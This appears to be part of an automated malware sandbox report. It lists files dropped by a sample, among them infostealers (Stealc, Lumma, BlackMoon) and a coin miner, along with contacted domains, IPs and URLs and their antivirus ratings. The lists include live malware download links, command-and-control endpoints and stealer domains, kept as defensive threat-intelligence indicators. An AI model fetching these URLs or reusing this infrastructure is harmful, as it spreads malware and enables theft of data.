C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	100%	Joe Sandbox ML
C:\ProgramData\kttbjzxfyqcy\erzljnhmzkuz.exe	75%	ReversingLabs	Win64.Trojan.Miner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c1c5838f95f_file1808[1].exe	100%	ReversingLabs	Win32.Infostealer.BlackMoon
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66c4c71a033c6_otr[1].exe	58%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\StyleControls%20VCL[1].exe	67%	ReversingLabs	Win64.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c2d861a5b4d_google[1].exe	75%	ReversingLabs	Win64.Trojan.Miner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\66c3721bc46fe_Ernrnmkio[1].exe	62%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\AppData\Roaming\afasdfga.exe	62%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\Documents\piratemamm\6UF1Jcwj34zqEggktO7mg1WS.exe	62%	ReversingLabs	Win32.Trojan.CrypterX
C:\Users\user\Documents\piratemamm\MrBEu6cm6HagE9yrmXV8x4AG.exe	100%	ReversingLabs	Win32.Infostealer.BlackMoon
C:\Users\user\Documents\piratemamm\fOzLadrzZNRnwv2woTdiFoXM.exe	58%	ReversingLabs	Win32.Spyware.Stealc
C:\Users\user\Documents\piratemamm\yZBxqqQICO50PLfWYKwJeSL5.exe	67%	ReversingLabs	Win64.Spyware.Lummastealer
C:\Users\user\Documents\piratemamm\zVS6xq86P4Kl0c26CfULXfv4.exe	75%	ReversingLabs	Win64.Trojan.Miner
C:\Windows\Temp\hbxzipnhyvsr.sys	5%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
yip.su	7%	Virustotal	Browse
helsinki-dtc.com	1%	Virustotal	Browse
cdn.discordapp.com	1%	Virustotal	Browse
pool.hashvault.pro	5%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
consciousourwi.shop	21%	Virustotal	Browse
siscorp.mx	3%	Virustotal	Browse
mcrogers.com	9%	Virustotal	Browse
api.myip.com	0%	Virustotal	Browse
ipinfo.io	0%	Virustotal	Browse
service-domain.xyz	9%	Virustotal	Browse
interactiedovspm.shop	20%	Virustotal	Browse
env-3936544.jcloud.kz	6%	Virustotal	Browse
claywyaeropumps.com	9%	Virustotal	Browse
checkdata-1114476139.us-west-2.elb.amazonaws.com	0%	Virustotal	Browse
charecteristicdxp.shop	20%	Virustotal	Browse
cagedwifedsozm.shop	20%	Virustotal	Browse
potentioallykeos.shop	20%	Virustotal	Browse
torubleeodsmzo.shop	17%	Virustotal	Browse
southedhiscuso.shop	20%	Virustotal	Browse
deicedosmzj.shop	21%	Virustotal	Browse
api.2ip.ua	6%	Virustotal	Browse
d1u0l9f6kr1di3.cloudfront.net	0%	Virustotal	Browse
tenntysjuxmz.shop	24%	Virustotal	Browse
api5.check-data.xyz	6%	Virustotal	Browse
cajgtus.com	21%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
weiggheticulop.shop	20%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
www.rapidfilestorage.com	1%	Virustotal	Browse
240812161425945.tyr.zont16.com	5%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
skrptfiles.tracemonitors.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
http://www.openssl.org/support/faq.html	0%	URL Reputation	safe
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:	100%	Avira URL Cloud	malware
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:	0%	Avira URL Cloud	safe
https://github.com/golang/protobuf/issues/1609):	0%	Avira URL Cloud	safe
http://193.233.232.86:80/api/twofish.phpntiVirusProductWindows	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c2d861a5b4d_google.exeC:	0%	Avira URL Cloud	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://siscorp.mx/jaliwYuqe.exe#spaceC:	0%	Avira URL Cloud	safe
https://siscorp.mx/kleiseIche.exe#spaceU?	100%	Avira URL Cloud	malware
https://siscorp.mx:80/kleiseIche.exe#space	100%	Avira URL Cloud	malware
https://github.com/golang/protobuf/issues/1609):	0%	Virustotal		Browse
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exem	0%	Avira URL Cloud	safe
http://193.233.232.86/api/twofish.php	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:	23%	Virustotal		Browse
https://siscorp.mx/jaliwYuqe.exe#spaceC:	3%	Virustotal		Browse
http://193.233.232.86/api/twofish.php	5%	Virustotal		Browse
http://193.233.232.86/api/twofish.php~	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrJ2	0%	Avira URL Cloud	safe
https://siscorp.mx/jaliwYuqe.exe#spaceC?	0%	Avira URL Cloud	safe
http://147.45.47.57/Pc	0%	Avira URL Cloud	safe
https://siscorp.mx/kleiseIche.exe#space	100%	Avira URL Cloud	malware
https://siscorp.mx/cdb-53011b87bd06	0%	Avira URL Cloud	safe
http://www.softwareok.de/?Download=MagicMouseTrails	0%	Avira URL Cloud	safe
http://193.233.232.86/	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/8K	0%	Avira URL Cloud	safe
https://siscorp.mx:80/kleiseIche.exe#spaceDJ	100%	Avira URL Cloud	malware
https://siscorp.mx/jaliwYuqe.exe#spaceM?	0%	Avira URL Cloud	safe
cagedwifedsozm.shop	100%	Avira URL Cloud	malware
http://api5.check-data.xyz/api2/google_api_ifi	100%	Avira URL Cloud	malware
https://siscorp.mx:80/jaliwYuqe.exe#space	0%	Avira URL Cloud	safe
https://siscorp.mx/jaliwYuqe.exe#space	0%	Avira URL Cloud	safe
southedhiscuso.shop	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403tem32	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	100%	Avira URL Cloud	malware
https://yip.su/om	0%	Avira URL Cloud	safe
http://193.233.232.86/api/crazyfish.php	100%	Avira URL Cloud	malware
http://skrptfiles.tracemonitors.com/updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt	100%	Avira URL Cloud	malware
https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/attachments/1272461485628719179/127565881083638992	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrws	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403C:	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrC:	0%	Avira URL Cloud	safe
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	100%	Avira URL Cloud	malware
http://193.233.232.86/api/crazyfish.phpj:l	0%	Avira URL Cloud	safe
consciousourwi.shop	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14E	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14dllmonc	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403	100%	Avira URL Cloud	malware
http://193.176.190.4165	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14URE=	100%	Avira URL Cloud	malware
http://www.rapidfilestorage.com/clrls/cl_rls.json	100%	Avira URL Cloud	malware
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW	100%	Avira URL Cloud	malware
https://protobuf.dev/reference/go/faq#namespace-conflictnot	0%	Avira URL Cloud	safe
http://mcrogers.com/StyleControls%20VCL.exes?	0%	Avira URL Cloud	safe
https://yip.su:443/1cN8u7gl	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c2d861a5b4d_google.exexe#14otram	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14K	100%	Avira URL Cloud	malware
http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c2d861a5b4d_google.exe	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403mx/	0%	Avira URL Cloud	safe
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails/History	0%	Avira URL Cloud	safe
https://ipinfo.io:443/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
http://www.softwareok.com/?seite=Microsoft/MagicMouseTrails	0%	Avira URL Cloud	safe
https://github.com/mgravell/protobuf-netJ	0%	Avira URL Cloud	safe
https://github.com/golang/prot	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c2d861a5b4d_google.exehK	0%	Avira URL Cloud	safe
https://api.myip.com/P	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/e.exe#space	0%	Avira URL Cloud	safe
http://193.176.190.41/V5	100%	Avira URL Cloud	malware
weiggheticulop.shop	100%	Avira URL Cloud	malware
https://yip.su/	0%	Avira URL Cloud	safe
https://siscorp.mx/jaliwYuqe.exe#space6/H	0%	Avira URL Cloud	safe
https://cdn.discordapp.com/	0%	Avira URL Cloud	safe
http://www.softwareok.de/?seite=Microsoft/MagicMouseTrails/History	0%	Avira URL Cloud	safe
http://193.233.232.86/.exe	0%	Avira URL Cloud	safe
http://193.233.232.86:80/api/twofish.php	100%	Avira URL Cloud	malware
https://yip.su/H	0%	Avira URL Cloud	safe
http://mcrogers.com/StyleControls%20VCL.exe	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr/~	100%	Avira URL Cloud	malware
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotr-	0%	Avira URL Cloud	safe
http://mcrogers.com/StyleControls%20VCL.exeK	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ	100%	Avira URL Cloud	malware
https://github.com/mgravell/protobuf-neti	0%	Avira URL Cloud	safe
https://yip.su/1cN8u7	100%	Avira URL Cloud	phishing
https://ipinfo.io/widget/demo/8.46.123.33	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrOMAIN_RO	0%	Avira URL Cloud	safe
torubleeodsmzo.shop	100%	Avira URL Cloud	malware
https://siscorp.mx/	0%	Avira URL Cloud	safe
http://147.45.44.104/prog/66c2d861a5b4d_google.exe82	0%	Avira URL Cloud	safe
potentioallykeos.shop	100%	Avira URL Cloud	malware
https://siscorp.mx:80/kleiseIche.exe#space7	100%	Avira URL Cloud	malware
http://mcrogers.com/StyleControls%20VCL.exe;	100%	Avira URL Cloud	malware
http://194.58.114.223/d/525403x	0%	Avira URL Cloud	safe
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB	100%	Avira URL Cloud	malware
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeModule	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
yip.su	188.114.96.3	true	true	7%, Virustotal, Browse	unknown
helsinki-dtc.com	194.67.87.38	true	false	1%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.130.233	true	false	1%, Virustotal, Browse	unknown
pool.hashvault.pro	95.179.241.203	true	false	5%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown
consciousourwi.shop	188.114.97.3	true	true	21%, Virustotal, Browse	unknown
siscorp.mx	162.241.63.30	true	false	3%, Virustotal, Browse	unknown
api.myip.com	172.67.75.163	true	false	0%, Virustotal, Browse	unknown
mcrogers.com	162.241.203.25	true	false	9%, Virustotal, Browse	unknown
interactiedovspm.shop	172.67.161.217	true	true	20%, Virustotal, Browse	unknown
ipinfo.io	34.117.59.81	true	false	0%, Virustotal, Browse	unknown
api.2ip.ua	188.114.96.3	true	true	6%, Virustotal, Browse	unknown
service-domain.xyz	54.210.117.250	true	true	9%, Virustotal, Browse	unknown
checkdata-1114476139.us-west-2.elb.amazonaws.com	35.161.111.70	true	false	0%, Virustotal, Browse	unknown
claywyaeropumps.com	178.132.2.10	true	true	9%, Virustotal, Browse	unknown
env-3936544.jcloud.kz	185.22.66.16	true	false	6%, Virustotal, Browse	unknown
d1u0l9f6kr1di3.cloudfront.net	18.239.236.83	true	false	0%, Virustotal, Browse	unknown
charecteristicdxp.shop	172.67.186.145	true	true	20%, Virustotal, Browse	unknown
torubleeodsmzo.shop	188.114.97.3	true	true	17%, Virustotal, Browse	unknown
deicedosmzj.shop	188.114.97.3	true	true	21%, Virustotal, Browse	unknown
cagedwifedsozm.shop	188.114.97.3	true	true	20%, Virustotal, Browse	unknown
potentioallykeos.shop	172.67.148.102	true	true	20%, Virustotal, Browse	unknown
cajgtus.com	190.13.174.94	true	true	21%, Virustotal, Browse	unknown
southedhiscuso.shop	172.67.178.83	true	true	20%, Virustotal, Browse	unknown
steamcommunity.com	23.197.127.21	true	false	0%, Virustotal, Browse	unknown
tenntysjuxmz.shop	188.114.96.3	true	true	24%, Virustotal, Browse	unknown
googlehosted.l.googleusercontent.com	142.250.181.225	true	false	0%, Virustotal, Browse	unknown
weiggheticulop.shop	unknown	unknown	true	20%, Virustotal, Browse	unknown
clients2.googleusercontent.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
api5.check-data.xyz	unknown	unknown	true	6%, Virustotal, Browse	unknown
www.rapidfilestorage.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
skrptfiles.tracemonitors.com	unknown	unknown	true	1%, Virustotal, Browse	unknown
240812161425945.tyr.zont16.com	unknown	unknown	true	5%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://siscorp.mx/kleiseIche.exe#space	false	Avira URL Cloud: malware	unknown
cagedwifedsozm.shop	true	Avira URL Cloud: malware	unknown
http://api5.check-data.xyz/api2/google_api_ifi	false	Avira URL Cloud: malware	unknown
https://siscorp.mx/jaliwYuqe.exe#space	false	Avira URL Cloud: safe	unknown
southedhiscuso.shop	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	true	Avira URL Cloud: malware	unknown
http://skrptfiles.tracemonitors.com/updates/yd/yt_wrtzr_1/win/version.txt?piuzkGLMGBsKoDuUzFpTTlIXNglIshTYt	false	Avira URL Cloud: malware	unknown
consciousourwi.shop	true	Avira URL Cloud: malware	unknown
http://194.58.114.223/d/525403	false	Avira URL Cloud: malware	unknown
http://www.rapidfilestorage.com/clrls/cl_rls.json	false	Avira URL Cloud: malware	unknown
http://helsinki-dtc.com/updates/yd/yt_wrtzr_1/win/version.txt?HqDPYSgSSTOASWztoUfpOUGOmVxVokMQW	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c2d861a5b4d_google.exe	true	Avira URL Cloud: malware	unknown
weiggheticulop.shop	true	Avira URL Cloud: malware	unknown
http://mcrogers.com/StyleControls%20VCL.exe	false	Avira URL Cloud: malware	unknown
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?QAkpeBLpGKmBLvSqnBGYQFSiyrHVcHTeZ	false	Avira URL Cloud: malware	unknown
https://yip.su/1cN8u7	true	Avira URL Cloud: phishing	unknown
https://ipinfo.io/widget/demo/8.46.123.33	false	Avira URL Cloud: safe	unknown
torubleeodsmzo.shop	true	Avira URL Cloud: malware	unknown
potentioallykeos.shop	true	Avira URL Cloud: malware	unknown
http://www.rapidfilestorage.com/updates/yd/yt_wrtzr_1/win/version.txt?cyQFFYXfMxTbmOSMGoSEriCQDgQhzEzaB	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotr	true	Avira URL Cloud: safe	unknown
178.132.2.10	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.44.104/prog/66c3721bc46fe_Ernrnmkio.exe#14C:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	true	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.232.86:80/api/twofish.phpntiVirusProductWindows	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c2d861a5b4d_google.exeC:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D70000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exeC:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/golang/protobuf/issues/1609):	3QKcKCEzYP.exe, 00000000.00000003.2321421770.000002404738C000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2304131797.0000024046942000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2328096357.0000024045DBC000.00000004.00000020.00020000.00000000.sdmp, yZBxqqQICO50PLfWYKwJeSL5.exe, 00000009.00000002.2657332261.00007FF7E1E05000.00000002.00000001.01000000.0000000B.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://siscorp.mx/jaliwYuqe.exe#spaceC:	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D77000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367745124.0000024044D74000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://siscorp.mx/kleiseIche.exe#spaceU?	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://siscorp.mx:80/kleiseIche.exe#space	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.233.232.86/api/twofish.php	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://240812161425945.tyr.zont16.com/f/fikbam0812945.exem	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024043052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx/jaliwYuqe.exe#spaceC?	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.232.86/api/twofish.php~	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c4c71a033c6_otr.exe#kisotrJ2	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.47.57/Pc	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx/cdb-53011b87bd06	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.233.232.86/	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042F98000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.softwareok.de/?Download=MagicMouseTrails	3QKcKCEzYP.exe, 00000000.00000002.2408956290.00007FF6BB09A000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/8K	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DAD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx:80/kleiseIche.exe#spaceDJ	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DA3000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://siscorp.mx/jaliwYuqe.exe#spaceM?	3QKcKCEzYP.exe, 00000000.00000003.2272013541.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367502243.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044DBC000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367989416.0000024044DC0000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://siscorp.mx:80/jaliwYuqe.exe#space	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://194.58.114.223/d/525403tem32	3QKcKCEzYP.exe, 00000000.00000003.2276002984.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299869051.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2299307403.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2280049827.0000024044DBD000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2281002324.0000024044DBA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://yip.su/om	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044E08000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.233.232.86/api/crazyfish.php	3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FA7000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000002.2406148349.0000024042FCD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	6UF1Jcwj34zqEggktO7mg1WS.exe, 00000008.00000002.2609476131.0000000003611000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/1272461485628719179/127565881083638992	3QKcKCEzYP.exe, 00000000.00000003.2367911693.0000024044DB5000.00000004.00000020.00020000.00000000.sdmp, 3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/1272461485628719179/1275658810836389929/setup.exe?ex=66c6b159	3QKcKCEzYP.exe, 00000000.00000003.2367289125.0000024044DAA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotrws	3QKcKCEzYP.exe, 00000000.00000002.2407060310.0000024044D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
